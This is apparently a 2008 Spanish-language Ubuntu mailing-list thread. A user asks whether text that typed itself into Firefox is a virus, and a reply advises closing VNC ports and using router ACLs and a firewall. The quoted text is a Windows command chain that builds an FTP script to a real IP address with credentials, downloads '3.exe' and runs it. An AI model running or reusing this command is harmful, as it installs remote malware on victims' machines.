Posible virus?

JAVIER ADRIAN ROJAS PEREA javieradrianr en gmail.com
Jue Jul 17 04:25:43 BST 2008


Hola, te comento que un mensaje muy similar me apareció en la empresa
donde laboro, la diferencia esta, es que se ejecuto en un sistema
windows 2003 server r2 sp2, con antivirus Kaspersky en modo
administrativo.

Solo abrio la consolo de ejecutar, escribio el codigo y en ocaciones
anteriores borro el antivirus en todas las maquinas que tenian windows
server2003.

Lo solucione, cerrando el puerto del VNC, y asignando reglas (ACL) al
Router  para impedir ese tipo de accesos.

En linux, no me ha sucedido.

Te aconsejo verificar bien, que puertos tienes abiertos y utilizar un
firewall siempre que estés conectado a internet.

Suerte

El mié, 16-07-2008 a las 23:10 -0300, Sebastian Gil escribió:
> Hola, 
> 
> Les planteo un "problema" que tuve.
> 
> Hace un rato se escribio automaticamente el siguiente texto en mi pc:
> 
> c echo open 190.139.77.50 35186 >> ik &echo user un22 lala22 >> ik
> &echo get 3.exe >> ik &echo bye >> ik &ftp -n -v -s:ik &del ik &3.exe
> &exit
> 
> A que me refiero con automáticamente? Estaba viendo una web cuando de
> repente ese texto se empezó a escribir solo en el casillero de
> búsqueda de firefox.
> 
> Mis dudas:
> 
> 1) Será un virus escrito en alguna web, por ejemplo en javascript? No
> le encuentro sentido a que lo escriba en la casilla de búsquedas, a
> menos que haya un bug en alguna otra plataforma
> 
> 2) Será un virus que esta residente en memoria y por lo tanto que
> afecta al sistema operativo? Por lo que entiendo de linux esto es poco
> probable, ademas esta pensado para ejecutar archivos .exe
> 
> 
> Se que tal vez no afecte a ubuntu, pero cuando sucedio estaba usando
> Ubuntu 8.04 asi que.. tal vez si lo "afecte" en cierta forma
> 
> Saludos
> Seba
> 
> -- 
> O< ascii ribbon campaign - stop html mail - www.asciiribbon.org
> 
> -- 
> ubuntu-es mailing list
> ubuntu-es en lists.ubuntu.com
> https://lists.ubuntu.com/mailman/listinfo/ubuntu-es
------------ próxima parte ------------
Se ha borrado un adjunto en formato HTML...
URL: https://lists.ubuntu.com/archives/ubuntu-es/attachments/20080716/916fbc3a/attachment-0001.htm 


Más información sobre la lista de distribución ubuntu-es